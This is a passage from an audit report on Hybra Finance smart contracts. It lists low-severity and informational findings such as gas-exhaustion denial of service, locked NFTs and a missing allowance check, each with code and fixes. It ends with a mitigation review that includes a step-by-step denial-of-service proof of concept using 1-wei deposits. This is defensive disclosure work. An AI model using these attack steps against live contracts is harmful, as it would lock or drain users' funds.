L‑03 Protocol loss: Unrecoverable Dust Locked Due to Incorrect Decrement Before Transfer Low
L‑04 Incorrect Time Constants in Withdrawal Window Logic Low
L‑05 Split Restriction Bypass via NFT Transfer to Allowed User Low
L‑06 transferFrom() breaks erc20 compliance Low
L‑07 previewAvailable() view function can be dosed Low
L‑08 User’s rewards are slowly depleted on ever deposit/getReward function called in GaugeV2 Low
I‑01 OnReward() does not exist Informational
NC‑01 Incorrect require statement in setInternalBribe() Non-Critical
NC‑02 Redundant maturity check in _withdraw() Non-Critical

L-01: Permanent Denial of Service in collectAllProtocolFees()

In the CLFactory contract,

The collectAllProtocolFees() function is vulnerable to a potential permanent denial of service (DoS) condition. Since pool creation is permissionless, any user can repeatedly call createPool() to add an arbitrary number of pools to the global allPools array. When collectAllProtocolFees() iterates over this unbounded list, the loop can easily exceed the gas limit, causing the transaction to revert and effectively disabling the function permanently.

 function collectAllProtocolFees() external  { 
        require(msg.sender == owner);

        for (uint256 i = 0; i < allPools.length; i++) {
            CLPool(allPools[i]).collectProtocolFees(msg.sender);
        }
    }

Impact

  • Denial of service: Owner’s single-call fee sweep can be blocked or made impractically expensive by mass pool creation.

Recommended mitigation steps

Stop relying on a single global loop: add collectFeesBatch(start, end) so collections are done in gas-bounded chunks.

L-02: It is Possible to Create a Gauge with rewardToken = 0x0 and Can Permanently Lock User’s Nft

Anyone can create a gauge its permissionless, any user can create a gauge with rewardToken set as 0x0 address, users who interact(deposit their nft) with that faulty gauge can permanently lock their nft inside the contract

Impact

In _getReward safe approve will always fail, SO this mean when a user deposits he can never withdraw, because inside the withdraw function _getReward is called and it will always revert so users deposited funds are locked in the contract.

Mitigation

Add a require(rewardToken!=address(0x0)) in the createGauge function in the GaugeFactoryCL contract

L-03: Protocol loss: Unrecoverable Dust Locked Due to Incorrect Decrement Before Transfer

In the CLPool contract, the collectProtocolFees() function, the contract clears the protocolFees slot to zero and then performs —amount before transferring tokens:

protocolFees.token0 = 0;
TransferHelper.safeTransfer(token0, recipient, --amount0);
protocolFees.token1 = 0;
TransferHelper.safeTransfer(token1, recipient, --amount1);

This results in 2 wei of each token being permanently locked in the contract. Since the fee slot is already reset to zero, this residual amount is no longer accounted for and cannot be recovered, leading to silent value loss over multiple calls.

You can see in the function just above it collectFees(), they have not cleared the slot but rather set it to 1, however in the collectProtocolFees() they have cleared the slot hence the -- operator will just make 2 wei stuck on every call.

Here’s a clear example:

  • If protocolFees.token0 = 100: protocolFees.token1 = 100;
  • The code sets it to 0 for both the tokens
  • The code decrement amount0 and amount1 to 99
  • The code transfers 99 tokens

The contract’s balance still contains 2 wei, but protocolFees.token0 and protocolFees.token0 no longer tracks it

That 2 wei is orphaned — it’s not assigned to fees and the protocol has no function to recover it.

Impact

This small value can slowly accumulate and lead to a large value, hence loss of the protocol.

Recommended mitigation steps

Remove the ”—” from amount0 and amount1, heres the updated code:

    function collectProtocolFees(address recipient) external  lock  returns (uint128 amount0, uint128 amount1) {
        require(msg.sender == factory);
        amount0 = protocolFees.token0;
        amount1 = protocolFees.token1;
        if (amount0 > 0) {
            protocolFees.token0 = 0;
            TransferHelper.safeTransfer(token0, recipient, amount0);
        }
        if (amount1 > 0) {
            protocolFees.token1 = 0;
            TransferHelper.safeTransfer(token1, recipient, amount1);
        }
        // emit CollectProtocolFees(recipient, amount0, amount1);
    }

L-04: Incorrect Time Constants in Withdrawal Window Logic

The variables headnotwithdrawtime and tailnotwithdrawtime are incorrectly set to 1200 and 300, while the comments indicate they should represent 5 days and 1 day respectively. This mismatch causes the withdrawal restriction window to last only minutes instead of days.

Impact

Users can withdraw prematurely—within minutes of an epoch start—bypassing the intended cooldown or restriction period.

Recommended mitigation steps:

Update constants to reflect intended durations:

uint256 public head_not_withdraw_time = 5 days;
uint256 public tail_not_withdraw_time = 1 days;

or use equivalent second values (432000 and 86400).

L-05: Split Restriction Bypass via NFT Transfer to Allowed User

The splitAllowed modifier is meant to restrict multiSplit() actions to team-approved users. However, since NFTs can be freely transferred, a non-allowed user can transfer their NFT to an allowed user, who then performs multiSplit and returns the resulting NFTs — effectively bypassing the intended restriction.

Impact

  • Bypass of a key constraint
  • This allows non-approved users to indirectly perform multiSplit, undermining the access control enforced by splitAllowed. It nullifies the team’s intended control over who can split NFTs, potentially enabling abuse.

Recommended mitigation steps

Enforce ownership-based restriction by validating the original owner or source of the NFT in multiSplit, or implement an immutable flag within each NFT recording whether it was originally owned by an approved splitter.

L-06: transferFrom() breaks erc20 compliance

In HYBR.sol, the transferFrom function is responsible for allowing a spender to transfer tokens on behalf of an owner within an approved allowance. In the current implementation, there is no check to ensure the spender does not exceed their allowed amount.

Impact

This breaks the erc20 compliance since it expects to revert.

Mitigation

Add a check before decrementing the allowance:

require(allowed_from >= _value, "ERC20: transfer amount exceeds allowance");

L-07: previewAvailable() view function can be dosed

The previewAvailable() view function can be dosed by any attacker via depositing dust amounts, during a deposit a lock is created and this function loops through all of the locks ever created for that user.

Due to gas exhaustion this function can be dosed.

Impact

This function was made for users to see their balance, but under this attack vector the user is permanently dosed from using this functionality.

Mitigation

Remove the recipient logic from the deposit function.

L-08: User’s rewards are slowly depleted on ever deposit/getReward function called in GaugeV2

The earned function calculates user rewards using integer math:

rewards[account] + _balanceOf(account) * (rewardPerToken() - userRewardPerTokenPaid[account]) / 1e18

Repeated deposits trigger updates to the rewards of the user which causes small rounding errors.

Integer division takes place twice, once in earned() and another in rewardPerToken()

Impact

  • This small rounded values can gradually accumulate to a larger value.
  • Leading to slow and gradual loss of rewards
  • Every time an function with the updateReward modifier is called, user faces this loss.

Mitigation

Protocol can potentially use higher precision to avoid such rounding down or consider storing rewards in a fixed-point library or using SafeMath for intermediate steps to minimize rounding loss.

I-01: OnReward() does not exist

In the provided repo, none of the contracts has the OnReward function defined, The OnReward function was present in the GaugeExtraRewarder contract from blackhole but it seems the contract has been removed from the repo(mabye because the protocol no longer decides to use it), OnReward() has been used in many functions, in gaugeV2, OnReward is used indeposit(), _withdraw() and in getReward().

However this remains informational as the functionality is used optionally:

Example:

    if (gaugeRewarder != address(0)) {
            IRewarder(gaugeRewarder).onReward(msg.sender, msg.sender, _balanceOf(msg.sender));
        }

Impact

gaugeRewarder will eventually be set by the protocol if required, so does not posses much impact, This is just highlighted to make the protocol aware that the contract in which OnReward() is suppose to be there is not present.

Recommended mitigation steps

Define a contract with the OnReward() functionality

NC-01: Incorrect require statement in setInternalBribe()

In the GaugeCl contract, the setInternalBribe() function performs an incorrect validation check using require(_int >= address(0)), which always passes since all Ethereum addresses are greater than or equal to address(0). This effectively allows setting the internal_bribe address to the zero address.

 ///@notice set new internal bribe contract (where to send fees)
    function setInternalBribe(address _int) external onlyOwner {
        require(_int >= address(0), "zero");
        internal_bribe = _int;
    }

Impact

This incorrect check allows 0x0 addresses too

Mitigation

Change the operator sign from >= to !=

 ///@notice set new internal bribe contract (where to send fees)
    function setInternalBribe(address _int) external onlyOwner {
        require(_int != address(0), "zero");
        internal_bribe = _int;
    }

NC-02: Redundant maturity check in _withdraw()

In the GaugeV2.sol contract, the _withdraw function includes the following check:

require(block.timestamp >= maturityTime[msg.sender], "!MATURE");

This validation is redundant in the current context. It appears to be leftover from a fork of the Blackhole contract, where it was originally intended to prevent users from immediately withdrawing after calling depositGenesis. Since Hybra no longer implements the genesis functionality, this maturity check serves no purpose and can be safely removed.

Impact

Takes up storage and gas

Recommended mitigation steps

Remove the require check from _withdraw

Mitigation Review

Introduction

Following the C4 audit, 3 wardens (niffylord, rayss, and ZanyBonzy) reviewed the mitigations for all sponsor-confirmed issues.

Additional details can be found within the Hybra Finance mitigation review repositories:

Mitigation Review Scope & Summary

During the mitigation review, the wardens determined that 2 in-scope findings from the original audit were not fully mitigated. They also surfaced several new issues (1 Medium severity and 5 Low severity); the new Medium severity issue was consequently mitigated and reviewed by the participating wardens.

The table below provides details regarding the status of each in-scope vulnerability from the original audit, followed by full details on the new Medium severity finding, and in-scope vulnerabilities that were not fully mitigated.

Original Issue Status Mitigation URL
H-01 🟢 Mitigation Confirmed ve33: PR 4
M-01 🟢 Mitigation Confirmed cl: PR 1
M-03 🟢 Mitigation Confirmed ve33: PR 4
M-05 🟢 Mitigation Confirmed ve33: PR 3
M-06 🟢 Mitigation Confirmed [ve33: PR 3
M-07 🟢 Mitigation Confirmed ve33: PR 5
M-08 🟢 Mitigation Confirmed ve33: PR 6
M-09 🔴 Unmitigated ve33: PR 1
S-861 (Low) 🟢 Mitigation Confirmed ve33: PR 2
S-101 (Low) 🟢 Mitigation Confirmed ve33: PR 4
S-470 (Low) 🔴 Unmitigated ve33: PR 6

Mitigation of M-09: Unmitigated

Submitted by ZanyBonzy; also submitted by niffylord

GaugeManager.sol #L138-L211

CL gauge accepts unverified pools, allowing malicious pool to brick distribution

Finding description and impact

M-09/S-66 is unmitigated. The provided fix doesn’t address the core issue. Adding access control to the GaugeFactory doesn’t completely fix the issue.

There are two issues.

  1. Creation with fake cl pools
  2. Creation with multple pools to cause dos. None is fixed

A malicious user can still call createGauges in the GaugeManager which will call createGauge in the GaugeFactory making the fix ineffective. The same impacts will still be present.

Proof of Concept
    function createGauges(address[] memory _pool, uint256[] memory _gaugeTypes) external nonReentrant returns(address[] memory, address[] memory, address[] memory)  {
        require(_pool.length == _gaugeTypes.length, "MISMATCH_LEN");
        require(_pool.length <= 10, "MAXVAL");
        address[] memory _gauge = new address[](_pool.length);
        address[] memory _int = new address[](_pool.length);
        address[] memory _ext = new address[](_pool.length);

        uint256 i = 0;
        for(i; i < _pool.length; i++){
            (_gauge[i], _int[i], _ext[i]) = _createGauge(_pool[i], _gaugeTypes[i]); //<<===== 1
        }
        return (_gauge, _int, _ext);
    }

    /// @notice create a gauge  
    function createGauge(address _pool, uint256 _gaugeType) external nonReentrant returns (address _gauge, address _internal_bribe, address _external_bribe)  {
        (_gauge, _internal_bribe, _external_bribe) = _createGauge(_pool, _gaugeType); //<<===== 2
    }



    /// @notice create a gauge
    /// @param  _pool       LP address 
    /// @param  _gaugeType  the type of the gauge you want to create
    /// @dev    To create stable/Volatile pair gaugeType = 0, Concentrated liqudity = 1, ...
    ///         Make sure to use the corrcet gaugeType or it will fail

    function _createGauge(address _pool, uint256 _gaugeType) internal returns (address _gauge, address _internal_bribe, address _external_bribe) {
        require(_gaugeType < _factoriesData.pairFactories.length, "GAUGETYPE");
        require(gauges[_pool] == address(0x0), "DNE");
        require(_pool.code.length > 0, "CODELEN");
        bool isPair;
        address _factory = _factoriesData.pairFactories[_gaugeType];
        address _gaugeFactory = _factoriesData.gaugeFactories[_gaugeType];
        require(_factory != address(0), "ZA");
        require(_gaugeFactory != address(0), "ZA");
        

        address tokenA = address(0);
        address tokenB = address(0);
        (tokenA) = IPairInfo(_pool).token0();
        (tokenB) = IPairInfo(_pool).token1();

        // for future implementation add isPair() in factory
        if(_gaugeType == 0){
            isPair = IPairFactory(_factory).isPair(_pool);
        } 
        if(_gaugeType == 1) { //<<===== 1
            // removed due to code size
            // require(_pool_hyper == _pool_factory, 'wrong tokens');    
            isPair = true;
        }
//...
    }

Status: Hybra Finance disputed.

Mitigation of S-470: Unmitigated

Submitted by niffylord; also found by ZanyBonzy and rayss

VotingEscrow.sol #L199-L424

  • contracts/VotingEscrow.sol leaves withdraw unchanged, so partner veNFT holders can still exit their full balance without proving they met the bribing requirement.
  • The new partner tooling (contracts/VotingEscrow.sol) only lets the team mint and manually revoke partner veNFTs; it does not tie withdrawal rights to bribe activity or track compliance on-chain.
  • Because enforcement remains off-chain and partners can withdraw before any manual revocation, the original guarantee (“melt unless you bribe”) is still unrealised.

Status: Unmitigated

[MR M-01] Deposit in GovernanceHYBR can Be DOSed for users

Severity: Medium

GovernanceHYBR.sol #L270-L281

The issue S-101 is now fixed by limiting the number of deposits to 50.

The fix however introduces a new issue.

Malicious users can spend as little as 50 wei of token to dos deposits for a user for the next 24 hours or however long the transferLockPeriod parameter is set to (minimum of 12 hours).

_addTransferLock reverts if the user has 50 or more locks.

    function _addTransferLock(address user, uint256 amount) internal {
        uint256 len = userLocks[user].length;
        // gas optimization
        require(len < 50, "too many locks"); //<=====1
        
        uint256 unlockTime = block.timestamp + transferLockPeriod;
        userLocks[user].push(UserLock({
            amount: amount,
            unlockTime: unlockTime
        }));
        lockedBalance[user] += amount;
    }

So when the 51st lock is about to be created, the require(len < 50, "too many locks"); will revert the transaction halting deposit until the first lock expires.

In a more dedicated attack, as soon as the first lock expires, the malicious user can frontrun and create a new deposit before the actual owner is able to deposit, pushing the DOS attack to the next 24 hours.

Step By Step Proof of Concept

  1. User is about to deposit into the contract.
  2. Attacker sees this and creates 50 deposits of 1 wei each on behalf of the user.
  3. The user’s deposit transaction reverts with “too many locks” error.
  4. The user is forced to wait for the locks to expire before being able to deposit.
  5. The user may be able to withdraw after the wait but the amount to withdraw is too insigificant to be useful.

A potential fix is to prevent users from depositing on other users’ behalf. If the fucntionality is needed, an approved user mechanism can be implemented.

Otherwise, introduce a substantial minimum deposit amount to make the attack significantly more expensive for the attacker.

Add access control to the _createGauge function in the GaugeManager.

Status: Mitigation of S-101 confirmed after further review by wardens niffylord, rayss, and ZanyBonzy.


Disclosures

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.